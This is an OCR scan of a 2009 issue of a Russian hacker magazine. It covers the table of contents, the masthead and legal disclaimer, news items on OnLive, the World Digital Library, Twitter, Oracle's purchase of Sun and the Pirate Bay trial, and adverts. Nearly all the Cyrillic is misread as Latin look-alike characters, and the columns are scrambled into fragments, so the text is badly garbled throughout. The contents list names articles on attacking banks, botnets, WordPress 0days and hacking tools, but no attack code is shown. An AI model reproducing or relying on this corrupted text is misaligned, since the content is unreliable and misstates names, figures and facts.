ATAKA HA 6AHKH: 6 LJ.EJlEH
<足
no BCEMY Ml4PY
eTP.50
I
CONTENT
~
~
05(125)
a
r
I
IT ---l
a
-y.
OJ 004 MEGANEWS Bce HOBoe 3a nOCne,Ll,HVliIi MeC~l\
KOAHHr 090
FERRUM 016
~ HE 3A6YAY Hl-1KOrAA CpaBHVlTenbHblili TeCT BVlH4eCTepOB 06beMOM He MeHee 1 T6
nonHblili rVlA no Mo6V1nbHblM nnaTepopMaM ,Ll,n~ nporpaMMVlCTa
096
3A06JlA4HbiE
BbI4l-1CJlEHl-1~
Cloud Computing Ha nanbl\aX
026
100
BC,KPbIBAEM SSL Bl-1PTYAJlbHA~
MAWl-1HA 3A6ECnJlATHO
Pa3pa6aTbiBaeM KnV1eHT VI cepBep
106
040
EASY-HACK XaKepcKV1e ceKpeTbl npOCTblX BeU-\eili
044
V1rpa B np"TKVI Ha ypoBHe ~Apa
• Cl>PHKHHr 110
OJ 83J10M
114
nCeB,Ll,03aU-\VlU-\eHHoCTb 6aHKOB
056
BenVlKV1i1i VI Mory4V1i1i UART
060
.SYN/ACK 120
M06l-1JlbHbl~ 60THET C03,Ll,aeM 3arOH An~ iPhone-30M6V1
BOJlWE6HbiE 3Anl-1C04Kl-1 WORDPRESS l-1Jll-1 BArOH ODAY Y~3Bl-1MOCTE~
124
X-TOOLS nporpaMMbl ,Ll,n~ B3nOMa
• CLtEHA 074
OCTATKl-1 6bIJlO~ POCKOWl-1 Me,Ll,neHHa~
o
CMepTb CV1CTeMbl E-Gold
KlHHKCOHA
078
4EMnl-10H B JlErKOM BECE n pa KTV14eCKoe pyKOBO,Ll,CTBO
no noceneHVlIO GNU/Linux Ha MVlKpOKOHTpOnJle::::
084
HOBbiE rPAHl-1 BSD D,eTanbHb!M 0630P OpenBSD 4.5 VI NetBSD 5.
BO BJlACTl-1 rl-1nEPBl-130PA Citrix XenServer: 0630P HOBOili BepcVlVI nnaTepoplv1bl BVlpTyanVl3al\VlVI
128
APEHAA OT C06CTBEHHl-1KA nOAHVlMaeM cepBVlC no CAa4e B apeHAY
npOAOn>KaeM xaK nonyn~pHeiliwero ABVI>KKa
072
HA CEAbMOM HE6E C WINDOWS SE7EN Windows 7 rna3aMV1 IT-cnel\VlanVlCTa
MeToAV1I<a nonHoro l<onVlpOBaHV1~ cailiTa
066
rJlABHbl~ l-1HCTPYMEHT
<PPl-1KEPA
0630P 3KCnJl0l-1TOB 4YAECA <Pl-1HAHCOBO~ 6E30nACHOCTl-1
OCl\l-1JlJlOrPA<P1 06y3,Ll,aili ero no-eppVlKepcKVI
CBe>KV1e y~3BV1MOCTVI OT CKB03a
050
Bl-1PM3E~KEPCKl-1E
Tl-1nCbll-1 TPl-1KCbl
JlY4Wl-1E l-1HCTPYMEHTbl nEH-TECTEPA CHVlepepbl VI pa60Ta c naKeTaMVI
TEMHOE l-1CKYCCTBO l-1rpOAEJlA, 4ACTb 4: MULTIPLAYER An" MHorononb30BaTenbCKV1X 6aTanV1i1i
6epeM Ha Boopy>KeHV1e nporpaMMY VirtualBox
036
B3nOMa cailiTOB
C nOMOU-\bIO Python
nepexBaT ,Ll,aHHbIX B 3aU-\V1U-\eHHbIX COe,Ll,V1HeHV1~X
032
KOHBE~EPHbl~ XAK no-npOrPAMMMEPCKl-1 ABToMaTVl3al\VI~
• PC_ZONE 022
KYAA nOAATbC~ TEJlE<POHHOMY KOAEPY?
BVlpryanbHblX FreeBSD-cepBepoB
134
l-1rPbl C >KEJlE3HbIMl-1 KOWKAMl-1 HaCTpaVlBaeM 60eBOv, Cisco pOYTep
KlHHTbl 140
FAQ UNITED
143
Al-1CKO
144
WWW2
60nbwoili FAQ
8,5 16
BC~KOili BC~4V1Hbl
Y,Ll,06Hble web-cepBV1cb
x
o.
022 EPROCESS
I
KPROCESS
I
EPROCESS
EPROCESS
ij
ij
106
KPROCESS
ij ~
I I
KPROCESS
ij
ij
LIST _ENTRY {
FLINK BlII'IK)
1--1
032 IPEl1AKUMSI
>PeAaKTOp Unix-pa3Aena
>rnaBHblM peAaKTop
AHTOH «AnI» A(yKOB
HlJlKlna «nikitozz» KIIlCnIllLl,V1H (nikilOz@real.xakep. ru) >BblnycKalOl1IHM peAaKTop HlIlKoftaw«gort»AHApees (gorlum@real.xakep.ru)
>MoHTa>K BMAeo
MaKCI11-\ Tpy6wlJ,b!H
>PeAaKTopbl py6pMK
83JlOM AMVlTP\lli1«Forb» AOKy4aee (Iorb@real.xakep.ru) PC ZONE" UNITS CTe-naH «step}) Vinb!ilH (slep@real.xakep.ru) UNIXOIO, SYN\ACK" PSYCHO AHApe~ «Andrushock» ivlarsees (andrushock@real.xakep.ru)
IPUBLISHING
{gameJlanll >Y"IpeAHTenb
000 «reI1M Jl3HA»
119021, MocKsa, yn. TI1Mypa <DpYH3e.
11. 11, op. 44-45
Ten.,. 71495) 935- 7034
<DaKc'714951780-8824
KOAVlHf
>feHepanbHblM AMpeKTOp
AMl-lTpHtII ArapyHoB
>YnpaBnAIOl1\M" AMpeKTOp
,D,aBYIA WOCTaK
>AHpeKTop no pa3BMTMIO
Ane",caHAP «Dr. Klouniz» n030BCKl1i1 (alexander@real.xakep.ru)
>l1HpeKTop no nepcoHany
<DPVlKVlHf Cepre~ «DLinyj'J,l.1,ol1\<lH
nawa POMaHoBcKVI~
1'v1I'lXa\l\fl CT~naHoB
(dI1nyj@real.xakep.ru)
>(J)MHaHcoBbIM AKpeKTop
Ta"b~Ha ry,ne6CKati
>nMTepaTYPHbIM peAaKTop A,,·-nnpI111 nl=lw,eHKo
>PeAaKI.l.MOHHbIM AMpeKTop
AM\I\Tp.'1C1 Jlaj],bl;t;eHCKv,i7j
(Iyashchenko@gamelancl.ru)
>PR"MeHeA>Kep HaTaJlb51 JlmBI'lHOBCKas:l
IART >ApT-AMpeKTop
EareHIo'IM HOBIIIK08 (novikov.e@gameland.ru) >BepCTanbUlMK Bepa CBeTJlblX (svettyh@gameland.ru)
lOYD >BbInYCKaIOIJ.f,HM peAal<TOp CTenaH «Step» VlJlbV1H (s lep@real.xakep.ru)
>l1MpeKTop no MapKeTMHry
AMHTP'1~ nntOUleB
>rnaoHblM AM3aKHep
3HI1~ TepH6yl1n
>AMpeKTop no npOM3BOACTOY
Cepre~Ji KyyepflBbl(l,
IPEKnAMA I Ten" 14951935-7034, <!laKe, 14951700-0024 >l1MpeKTop rpynnbl GAMES & DIGITAL EBreH~~ rop~\.{eBaigoryacheva0gameland .ruJ >MeHeAmepbl Ollbra Et.tenbs:lHLI,0Ba
Mapl1f1 HeCTepoB8 MapHfI H11Kor.aeHKo MaKolM Co6ones HaAe>KA8 rOH4apoe8
3apen1CTp14pOSaHO B M14HII1CTepCTB€ POC01l1Ct:oi;' <De,n.epatlY1III no AenaM ne4anl, renepaALolosew,aHl-UO lI\ cpegCT6aM MaCCOBblX KOMI.1YH\1Kau,M~i nVl q 77·11802 OT 14
HaTaflbfl MI-1CTIOKOSa
<peBpa". 2002 r.
>AAMMHMCTpaTop
OTne4BTaHO 8 nmOrpa¢\o'1V1 ((Lieluvas Rivas», flt1TBB. 1l-1pa>:< 100000 3K3eMnJl51poB. WeHa AorOBopHil51.
~\ilapI1$1
5ywesa >Pa6oTa CpeKnaMHblMM areHTCTBaMM JlLolALol51 CTpeKHesa [strekneva0gameland.ru) >CTapwMH MeHeA>Kep CBeTnaHa nll1H4YK >CTapwMil Tpa<!lMK-HeHeAlKep Mapb51 AneKceeBa
IOnTOBASI npOl1A>KA >l1MpeKTop oTAena AMCTPM6YllMM
C enaHOB
(andrey@gameland.ru)
>PyKoBoAMTenb MOCKOBCKoro
HanpaBneHMR
Onbra ASBanbA
(devald@gameland.ru)
>PYKoBoAMTenb perMoHanbHoro
HanpaBneHMR
TaTb$1Ha Kowefleea
(kosheleva@gameland.ru )
>PYKoBoAMTenb OTAena nOAnMCKM
Mapll1Ha rOH4apoBa
(goncharova@gameland.ru)
Ten.' (495) 935.70.34
cPaKc: (495) 780.88.24
> rOpR"4aR nMHMR no nOAnMCKe
Ten .. 8 (800) 200.3.999
5ecnnaTHo ,Qn51 380HRLUtlX 1-13 PCCG.·.'
>AnR "I4CeM
AHApe\~
101000, MocKsa,
rfla8n04Ta~,tT, ah.
652, XaKep
MHeHLole peAaKu,Io1Lol He 06513aTeflbHO cosnaAaeT C MHeH~eM aBTOpOB. Pe.adKUI1Sl yaeAoMn5leT: Bce MBTeplo1aJ1b1 B HOMepe npeAocraBJl5llOTC5I KBK ~1H¢opMau,liI51 K pa3MblwneHIo1IO. Jl~1u,a, VlCnOJJb3ytaUJ,1'1 AaHHylO j.1HcV0PMBU,I.,JO B np0ll1803aKOt-ltiblX uellSlX, MOryT 5b1Tb nplo1Bne4eHbi K om8TCTBeIlHOCTI1. PeAaKlJ,Vifl B 3nlX CllY4BflX OTaeTCideHHOCTI-1 He HeceT. PeAaKLJ,LolR He HeceT O'TaeTcTBeHHDcnl 3a CO,lJ,ep>KaHlIle peKJlaMHblX 06MI8JleH~~ 8 3a nepene4aTKY Haw,.,x MaTep~aJlOB 6eJ.-enpoca - npecJle,lJ,yet-1.
HOMepe.
no BonpOCat.1 mll.J,eH3I-1pOBaH~~ npas Ha ~cnonb30BaHv.e
11
nO)1'14eHlr\~
Ma Tepl-1a1l0B ;-KypHana o6paw,aiitTecb no a.D.pecy: conlent0gameland.ru
(f:
peAaK4~1Ot-IH!:IIX
000 «re~M Jl:~HA~>, P<D, 2009
npaSMnbHblM aBTopOM CTaTbM «ATaKa WordPressH B MapToBcKOM HOMepe RsnReTCR Magg. PeAaKLI,KA npMHOCMT M3BMHeHMR 3a oWH6KY.
~.
r
~
~ ~-
0 - - - - - --.- -
I
I
7 'f
r-
r--'1
~
I--
I
VU
-
-
MAPi-l~ «MIF~ILL»
I
I
-
I---'
x
-
-= I U .--I ] --
..........-r---
J
I W
----r--
I]
~ 1
~
I
T
1..-
~
,.-
I r--'1
..........-r---
I W ...........---
~
I--
FiL
....-
~
II
-
I--
= -= 1 W
"I
I
r0-
I--
.---
1J
I
--
-=
~
r::
i"-
-FiL
~L
I
W
I
W-
II
f--
...........---
f--
1
W
050 BCEM 3A nocllEAHH'1 MEC5IU
HE<DEIlOBA / MIFRILL@REAL.XAKEP.RU /
rysis Ha H'eT6yKe y>Ke peanbHOCTb
c
Apa~BepaM~ ~ HacTpoi1KaM~1
To, 4TO COBceM HeAaBHO Ka3anOCb Me4TaM~,
CKOpO CTaHeT peanbHOC
KOMnaH~I~
TblO.
On Live y>Ke
n04T~
W~POK~i1: An~
SO - 1.5Mbps,
a AJl>l HD 11280pl- 5Mbps. Ho CTO~T cKa3aTb, 4TO B OnLive pa3pa60Tan~ CBOIO TeXHono-
rOTOBa npeACTaBVlTb HaM HOBbli1
r~1O C>KaTVI~ AaHHblx. 3aAep>KKa
~rpoBoi1 cepB~c
COCTaBn>leT nOp>lAKa
Ha3BaH~eM,
HblM Ha
np~HI..\~ne
Ll1~Ka
OAHO~MeH-
nOCTpoeHHbli1
06na4HOV,
AaHHbIX. To eCTb, MOLl1HOCT~
c
06pa60TK~
<paKT~4ecK~e
HaXOA>lTC~
y nOCTaB
ycnyri-l, a nonb30BaTenIO
~
narOB He
M~nn~ce
npeAB~A~TC>I.
Bbl60p ~rp, CYA>I no BceMy, 6YAeT He Man y>Ke
cornaWeH~>1
nOAn~canH
c OnLive
Electronic Arts,
Eidos, Atari, WarnerBros ~ ApyrVle B~AHble npeACTaB~Ten~
Bce
npeAoCTaBn~eTc~
npaBI~a, 6blno 6bl 3AOpOBO,
KaK
~HTepHeT-CepB~c.
ecml 6bl caMble nocneAH~e
paTb, nOHaA06~Tc~ n~Wb 6pay3ep
A~TC>l B 3aKpblToi1 6eTe. OTKpblToe
~
~
TecTVlpoBaH~e
Tpe60BaTenbHbie K >Kene3Y
YAaneHHo,
KyHAbl
Lh06bl
no~r
yCTaHoBneHHbli1 nnarHH On Live.
~rpbl MO>KHO 6blno 6bl 3anycKaTb
An~ >KenalOLl1V1x raMaTb He Ha nK,
rei1MAeBa.
Ha AaHHbli1 MOMeHT npoeKT Haxo Ha3Ha4eHO Ha neTO
[no aApecy WWI/o{ onlive.CQffi Aa>Ke
Ha m060M KOMnblOTepe, npaK
a Ha TB, 6YAeT B03MO>KHOCTb np~
MO>KHO 3an~CaTbC>l1. Pen~3 YTex~
T~4eCK~ MrHOBeHHO? np~TOM,
06peCT~ HeAoporylO np~cTaBKY
3annaH~poBaH Ha KOHel..\ 2009
6e30 BC~K~X anrpe~AOB, np06neM
CaMO c060i1, KaHan
nOTpe6yeTc~
roAa.
o AAHHblM KOMnAH~H 51H.Q.EKC,
PYCCKO~ 6nOrOC<DEPE Y>KE
nOABMHbCH.. Europea
B~pTyanbHble ABep~
peCHoro npoeKTa -
OyeHb
~HTe
BceM~pHO~
7.4 MHnn~OHA 6nOrtlB. 6.9 MJlH. f.1~
HOTbl, 3anVlCV1, cPV1nbMbl, CHlI1MKV1,
Te>KVI. 3TO HaCTO~Ll1~i1 npa3AH~K
Digital Libraryl - pacnaxHymKb
Ha ynVll..\e nlO6HTenei1 ~CTOPVlVlI Cal~T
21-ro anpen~. \!1AelO C03AaH~~
pa60TaeT Ha
pecypca eLl1e B 2005 rOAY nOAan
KOTOpblX eCTb ~ PYCCK~i1. Aa-Aa,
ceM~ ~3bIKax, cpeA~
A~peKTOp 5~6n~oTeK~ KOHrpecca
KaK H~ CTpaHHO, Pocc~~ TO>Ke Y4aCT
CWA A>Kei1Mc 51~nn~HrTOH, a Me>K
ByeT B 6naroM HaY~HaH~~. Ha '!'!':I::i'tL
AYHapoAHble
:tlill..2£g Hawy CTpaHY npeACTaB
opraH~3al..\~~
BpoAe
ee
nOAXBaT~n~.
CYTb npocTa
n~101 PoccVli1cKa~ Hal..\~oHanbHa~ 6~6nHOTeKa ~ Pocc~i1cKa~
CBeCT~ BoeA~HO KaK MO>KHO 60nbwe
10cYAapCTBeHHa~ 6~6n~OTeKa.
6~6n~oTeK, apx~BoB ~ ~>Ke c HW~H,
Jl1060nbiTHO
c06paB Ha OAHOM
ca~Te npaKT~
4eCKVI Bce KYnbTypHoe
HacneA~e
M~pa. K «HacneA~IO» OTHeCnVl pYKOn~c~,
~ 004
KapTbl,
peAK~e KH~r~,
PA3nHLfHbiE C006UJ,ECTBA.
<pOTorpa<p~~ ~ apX~TeKTypHble 4ep
1..\~<pPOBOi1 6H6mlDTeK~ IWorld
IOHECKO, OOH ~ WDJlA c paAocTblO
HlJ1Y -AHEBH~KIII, OCTAnbHOE
pOBaH~~
~
TO, 4TO B <p~HaHc~
Y4aCTBYlOT
IT, KaK Google
BblAenVln~ WDL
BTopble -
TaK~e
rViraHTbl
~ Microsoft. nepBble
3 MnH. AonnapoB,
M~nnHOH.
XAKEP
05 /125/ 09
J
"I
II
1..'" :"
.
"'
.>.-" m,eg.:.ne\'lS.
+ nHweM I
~On'bWe.
We~@bICT
Blu-raYAVlCKVl BCe nflOTHee BXOA51T B HaW 6blT, ill npOVl3BOAVlTeflVl >Kefle3a He OTCTafOT, nOCTaBfl515160flee COBepweHHble yCTpoiicTBa Afl51 Y1X YTeHY111 Y13anVlCY1. TaK, KOMnaHY151 Pioneer npeAcTaBVlfla HOBbl~ np~BoA nOA HOMe pOM BOR-2203, CnOAAep)l(Koii Blu-ray, OVO \'1 CO, K KOMnbloTepy HOBVlHKa nOAKflfOyaeTC51 Yepe3 Y1HTep<j>eiic SATA IflaBHoe AOCTOY1HCTBO - npVlBoA YMeeT3anY1CbIBaTb ABYXCJ1O~Hble BO- R Ha CKOpOCTVi 8x, Vi 63Kan 50 16 6YAeT 3aHVlMaTb np~MepHo nOfl'laca, BMeCTe C«pe3aKoM» nOCTaBfl51eTCI1 naKeT nporpaMM CyberLink, OAHaKO L\eHbl Ha «YYAeca TeXHI'IKI'I» no-npe)l(HeMy OCTafOTC51 KycaYVlMI'I. B CWA3a HOBY1HKY npI'IAeTC51 OTAaTb 250 AOflflapOB, a YTO 6YAeT Ha POCCI'I~CKOM pblH Ke - MO>KHO TOflbKO npeAnonaraTb,
B EBPOnE FACEBOOK -
COl.l~AnbHASI
1. ABPOCCHH OHA HAXOA~TCSI nHWb HA 7-M MECTE
CETb I~g
P v
3aMe'laTenbHblXnlOAeH f'I
C orpOMHoii CKOpOCTbfO CepBYlC Afl51 MYlKp06flOrrl'lHra Twitter Hapall\YlBaeT
~ 1t<S~I~..~r"ft1
nonyfl51pHOCTb, CeroAHI1 twitter-aKKayHTbl eCTb y MHorY1X 3HaMeHYlTOCTeii, 6J1or AMI1TPI1>l MeABeAeBa /
''''e
~ 111.. " ...."'. l'
~V~:-;'l' I
•
to
OT 5PYlTHY1 CnYlpCAO 5apaKa 06aMbl, HO HaCTOI1ll\~ii peKopAYAaJlocb nOCTa BYlTb TefleBeAYll\eii Onpe YY1H<j>pY1. Onpa o<j>opMY1na nepBblii noCT 17 anpefll1, Yl y)l(e Yepe3 2 yaca y Hee 6blno 100,000 ¢ofloBepoB [aka APY3eii-YYlTaTefle~1. Ha TeKYll\l'Iii MOMeHT 3Ta L\Yl<j>pa BblpOCfla B n51Tb pa3 - y Onpbl y)l(e 505985 «nocfleAoBaTeneii», MY1cCYlc YYlH<j>pYl TaK nonyfl51pHa Ha 3anaAe, YTO BAeHb ee pervlCTpaL\Yl~ nOCell\aeMOCTb Twitter nOACKOYVifla Ha 24%. ,[(Ofl)l(HO 6blTb, TbIC51YI'I AOMOX0351eK pellJl'lflVl nocneAOBaTb npYlMepy KyMl'lpa, nOCMoTpeTb <j>eHoMeH CBOViMVi rna3aMY1 MO)l(HO Ha www.lwiltercom/Oprah. A B POCC~Y1 npe3YlAeHT CTpaHbl peWY1fl 3aBeCTYl >I<>K He ceKpeT, YTO )lMl-1T pYlii AHaTOflbeBwl C2008 rOAa BeAeT BYlAeO-6flor Ha kremlinru, nepeHeCTYl 6flor rnaBbl rOCYAapCTBa Ha He3aBVlCl-1MYfO nfloll\aAKypeWl-1fll'l Y13-3a npo 6fleM KpeMfleBCKOro caiiTa ITOT He CnpaBfll1eTC51 CHanflblBOM nOCeTI'ITefleii,
~
Aa \'1 CKOpOCTb 06pa6oTK~ KOMMeHTap~eB OCTaBfll1eT)I(eflaTbflY'lwero) Cep
!""~1lG
~
00_
.. &.ma- balwunt:t ~ Du
BYlC LiveJournal6blfl Bbl6paH KaK Hal'l60flee nonyfll1pHal1 B pyHeTe nflOll\aAKa Afl516flOrrI'lHra. 6nor 3aperY1CTpYlpOBaH KaK coo6ll\ecTBo ~ pacnOnO)l(eH no aApecy http://communily,livejollmaLcQm/blog medvedev. BeAYT ero, pa3yMeeTCI1, MOAepaTOpbl. Ha >K>K npe3YlAeHTa 3a npoweAwl'le HeCKOflbKO AHeii nOAnl~caflOCb 60flee 5.5TbIC\1Y 'leflOBeK, XOT51 «HaYYlHKa» >KypHafla
MHnnHapAOB! npOAaHO!
He 60flee yeM KpoccnOCT 1'13 WWW bLog.krem\in.ru.
\1BHO 6YAeT AaneKO Y1AYll\l'Ie, B pyKax Oracle Tenepb, no CYTVi, cocpeAO TOyeHbl MOHOnOnVl51 Ha TeXHonor~fO Java l-1 pa3pa60TKVi Sun B 06flaCTI'I
B npOWflOM HOMepe Mbl nVlCafll'l OTOM, YTO KOpnOpaL\~I1IBM, Ka)l(eTCI1,
>Kefle3a 1
He npOTI'IB npVl06peCTY1 Sun Microsystems, CflYX\'1 nOATBepA~fl~cb
npeAflO)l(eHl'le 0 nOKynKe Sun 3a nOYTI'I 7 MflPA, AOflflapoB AeiiCTBmeflbHo
6blflO oTBeprHyTo nOCJleAHI'IMY1. Ho nOCfle OTKan, Bbl3BaHHoro, CYA51
no BceMy, HeAoCTaTOYHO xopoweii L\eHoii, aKL\I'I~ Sun He npoCTO «nOWflVi
BHI'I3», a 6yKBaflbHO PYXHYfl~ Ha 25%, TaK YTO, HOBoe npeAflO)l(eH~e,
nOCTynVlBwee y>Ke OT KOMnaHVlVl Oracle, npl'IWflOCb BeCbMa KCTan1. OAVlH
1'13 KpynHeiiwVlX MVlPOBblX pa3pa60TYY1KOB B 06flaCTVl CI'ICTeM ynpaBfle
HY111 6,[( npeAflO>KVlfl Sun 9.5 AOflflapoB 3a a KL\Y1 fO. 3TO Bcex nOflHOCTbfO
YCTPOVlflO. OyeBVlAHO, B Sun nOH51flVi, YTO BpeM51 ToprOBaTbC51 npOWflO.
CAenKy nnaHl'lpyfOT O<j>0PMI'ITb OKOHyaTenbHO y)l(e 3TI'IM fleTOM, a VlTOrOBa51 cyMMa COCTaBVlT 5.6 MVlflflYlapAa AonnapoB Ic yyeTOM AOflra KOMnaHY1Y1
un
microsystems
7.4 MflPAJ K YeMy npViBeAeT CflVi51HYle, nOKa>KeT BpeM51, HO nOCfleACTBYl51
~ 006
XAKEP 05 /125/ 09
DEPO Neos 630 Ha 6a3e YeTblpeXb5'lAepHOro npoweccopa Intel® Core™2 Quad c TeXHonorVleLil vPro™ npeAcTssVlTenb HOSOro nOKOneHVl5'l KopnopsTVlsHblX nK, o6ecneyVlslOll.lVlX VlCKnlOYVlTenbHYIO npOVl3soAVlTenbHocTb VI pesnbHylO MHor03SASYHOCTb An5'l PS60Tbi 6V13Hec-npVlnO>KeHVlLII VI nOAAep>KVlSSIOll.lVlX VlHTerpVlpossHHble snnspSTHble epyHKWVlVl ynpssneHVl5'lVl 6e30nSCHOCTVI C Vlcnonb30SSHVleM TexHonorVlVllntel® vPro™.
• npoLleccop Intel® Core™ 2 Quad • nOAJllllHHa5'l Windows Vista® Business • 06beM onepmVlBHoVi naM5'lTVI ,qo 4 r6 • 06beM ,qlllCKOBOro npocTpaHcTBa ,qo 1 T6 • IIlHTerplilpoBaHHblVi rpaepw-lecKlilVi a,qamep lIIm1 BHeWH5'l5'l BlII,qeoKapTa • B03MO>KHOCTlil y,qaneHHoro MOHlilToplllHra 1II a,qMlIIHlIIcTplilpOBaHlII5'l • Tplll BaplilaHTa VlcnOnHeHlII5'l MidiTower, MiniTower, Small Form Factor • Bbl60p KOHeplilrypaLlll1l11
VI
pa3Mel..l..leHlIIe 3aKa3a Ha caViTe
3aw.~Ta. YnpaBl\eH~e.
• np01ll3BO,qCTBO no,q 3aKa3 B TeLfeHlIIe Tpex pa6oLfll1x ,qHeVi
Mbl "K CRERAR"l RRR BACl KOMnaH~R
DEPO Computers, Tell. (495) 969-22-22, www.depocomputers.ru
Intel, JlOrOT~n Intel, Intel Core, !ntel vPro, COfe Inside" vPro Inside RBniUOTCR TOBapHblM" 3HaKaMl>l KOpnOpaL\"" Intel B CWA
It,
APyn1x CTpaHax. PeK.naMa
'}',;,j -
L
Ime.1gane;v.i'!SE
*.. ,.~
I---
~_.
-
~..
-
~
•
....
J\
r
HOBblM CBOAHHblM OXna>KAeHHeM Heycnella KOMnaHV1~ AMD
0AV1H cnOT 101 npV1 3TOM rapaHTV1pyeT
CAellaTb
OTnV1YHYIO np0V13BOAV1TenbHOCTb
a BblnycKe
3a~BlleHV1e
«caMO~ 6bICTPO~ B MV1pe ~rpOBO~
B 3D, B COYeTaHvIV, C3<jJ¢eK
3D-KapTbl B KaTeropV1V1 AO $260"
TV1BHbIM Tenlloo6MeHoM [Ha 20
IATI Radeon HD 4890), KaK KOp
rpaAycoB L(enbcV1~ 3<jJ¢eKTV1BHee
nopallV1~ TUL y>Ke npeAcTaBV1lla
B03AYWHbiX cV1cTeM) K TOMy >Ke,
ny6nV1Ke CBO~ npoAyKT Ha 6a3e
6naroAap~ H20. CTallO B03MOJKHO
HOBoro GPU. KapTOYKa, nonYYVlB
nOBblCV1Tb yaCTOTbl GPU 101 naM~T~,
wa~ Ha3BaHV1e PowerColor LCS
KOTopble paBHbl 900 101 1000 M rll
HD4890, He MO>KeT He nOHpaB~Tb
[4000 Mrll), COOTBeTCTBeHHO.
C~ re~MepaM
06beM naM~TV1 HOBV1HKV1 COCTaB
KIlV1He~Ke
- OHa
OTHOC!ATC~
n~eT
PowerColOl' Liquid
Cooling Solution [TO eCTb, V1MeeT
(~t.,. "'-'lJi'" ~i;
,\,,_,(~T'." ~
ilt.jIl11'!1;'
\I~"f
1
1 1-6IGDDR5) Ho 3a Bce
Hy>KHO nnaTV1Tb, n03ToMY lIeHa
CV1CTeMY BOA~Horo OXlla>KAeHV1~).
PowerColor LCS HD4890 paBHa
BV1AeOKapTa3aHV1MaeTTonbKO
yJKe He 260, a $339.
~t
WBEACKHH HAl.lI10HA11bHbl~ MY3E~ HAYK1-11-1 TEXH0110rl1~ BbIKyn1-111 y n011l11.1HH CEPBEPTHEPIRATEBAY.ORG 3A $2431-1 BbICTABl111 Ero BKAlIECTBE OAHoro 1113 <~1It306~ETEHl-1~.1.IflJlbHEE; BeE. 0 n06JIH~SWv1X l""nU·I~ Hb 11 toJlEVI ».
CHna YO&
YOll(iJ!}EDU -
~-
.--..•,._- - - -•• I '
.'i ";'
$ __ i
_~"l;_."
I
.,
. 'I~,
LX:
,...
~
o l
~~m
EcnV1 HOBOCTb 06 OTKpbITV1V1 BceMV1pHo~ lIV1¢PO
Vl MHorV1e ApyrV1e. KOnV1yeCTBO ponVlKOB, Bblno
BO~ 6V16nV1oTeKV1 nopaAyeT ntOAe~, YBneyeHHblX
>KeHHbIX 0AHVlM yye6HbiM 3aBeAeHV1eM, nopo~
v1CTopV1e~.
AocTVoraeT HeCKonbKVlX COTeH. 3pV1TenlO Aa>Ke
TO HOBOBBeAeHV1e Ha BV1AeO-XOCTV1Hre
You Tube npV1AeTc~ no Aywe BceM, KTO T~HeTC~
npeAnaralOTC~
K3HaHV1~M. Tenepb no aApecyvwJW,youlube comledu MO>KHO HaVtTVl BV1AeO-lleKlIVlV1 101 06yYalO
Ha TeMy, HanpVlMep, nV1HeVtHOv. anre6pbl V1nVl AV1¢ ¢epeHlIVlanbHblx ypaBHeHVlv. 1VI caMoe rnaBHoe
ll\V1e MaTepV1anbl OT nyyWV1X MV1POBbIX KOlllleAJKev.
- Bce 3TO BenV1KonenV1e cOBepweHHo 6eCnJlaTHO,
101 YHVlBepcV1TeToB. 3Aecb npeACTaBneHbl 101 MIT,
101 nOTpe6yeT, pa3Be YTO, 3HaHV1~ aHrnVlVtCKOro
101 CT3HA¢oPACKIo1Vt YHV1BepcV1TeT, 101 5epKnV1,
~3blKa
Mbl yJKe He pa3 ynoMV1HanV1: He Bce
nOIlI~lIV11O
101, BOJKIo1AaHV1101 CTpa>Ke~
nop~AKa,
rpYAblO BCTallV1 Ha Bbe3Ae
nnaHeTbl 3eMn~ CyaCTfll'IBbl,
YTO Google CHV1MaeT VlXAOMa co cnYT
BAepeBHIO. YBV1AeBTaKo~ pewlo1Tenb
HV1Ka, a no yll 101 lIaM ropoAoB KOlleCV1T
Hbl~ OTnOp, BOAV1Tellb rymo-M06V11l~
ryrIl0-M06V1llb. HeKoTopble AaJKe nbl npaBo «KopnopallV1V1
3na» ny61lV1KoBaTb CHV1MKV, V1X>K~llb~
He CTall Aonro AyMaTb, a nonpocTy pa3BepHYllc~
101 yexan. VI TonbKO cnyCT~
HeKoTopoe BpeM~ HacelleH~e 5poYTo
BGoogle Maps Yepe3 CYA, HO 1013 3TOro
Ha nOBeAano npecce, YTO, OKa3b1Ba
HV1yero He BblWIlO. LJTO >K, COBeTyeM
eTC~, 3a nocneAHV1e 1.5 MeC~lIa y HIo1X
101M 6paTb npV1Mep CJK!ATelle~ ManeHb
BAepeBHe npoV130wllO TpVl cepbe3Hbix
KO~ aHrnV1VtCKO~ AepeBywKV1 5pOYTOH.
Kpa>Klo1. nepcneKTIo1Ba ny6nlo1KallV1101
5AmenbHbie aHrlll~YaHe, np~MeTV1B
BGoogle Maps ¢OTorpa¢V1~, o6ner
MawV1HY CKaMepOVt Google Street
yalOll\V1X >K1013Hb V16e3 TOro 06HameB
View Ha 60pTy, nOAH~IlV1 Ha HorV1 Bcex
WIo1M BopaM, MeCTHblX COBepweHHO
coceAe~,
He 06paAoBana.
~
008
.
YXOAM
>K~Tenvl
Talll~cbocnopV1Tb
rOTOBble nllev.nV1CTbl CKypcaMVl
BOOp}I)KV1IlV1Cb, Bbl3BanV1
XAKEP 05 /125/ 09
I
>"~ _;rn(eg~nt-\\ ..,s, -- -- -,
T ,Henb3R OMMnOBaTb K,OllbMe 17-ro anpell>l 6blll BblHeceH np1l1rOBOp no ,nelly : -,·ilH,n.bl TpeKepa The Pirate Bay [0 caMOM npoLjecce Mbl no,np06HO :2ccKa3bIBalll-1]. V1 XOT>l BnepBble B 1I1CTOP1l1111 Ka3a1lOCb, 'ITO 60PLjbl ,3 CB060,ny 1I1H¢OpMaLj1l1111 MOI'YT Bbl1l1rpaTb, yy,na He np01l130W1l0. Bce -::~ 3,nM1I1HOB TpeKepa 111 61113HecMeH Kapil JlyH,nCTpeM, BIlO)l(vlBW1I11,i
,"", x,neHbr1l1111 npe,noCTaB1I1BW1I1~ XOCTVlHr, np1l13HaHbi B1I1HOBHblM1I1 = :0,nel,icTB1I1111 HapyweH1I1tO KOn1l1pal,iTa. Cy,n TaK)I(e nOCTaHOB1I11l, 'ITO 06 =.'K>leMble ,nel,icTBoBallVi KaK npeCTynHa>l rpynna 111 npeKpacHo 3Ha1l1l1, --) cnoc06CTBytOT pacnpoCTpaHeH1I110 MaTep1l1a1lOB, HapywatOw1l1x ~3TopcK1I1e npaBa. Bce 3TO n03BOll1l11l0 KllaCC1I1¢1I1Lj1l1pOBaTb 111 X B1I1HY,
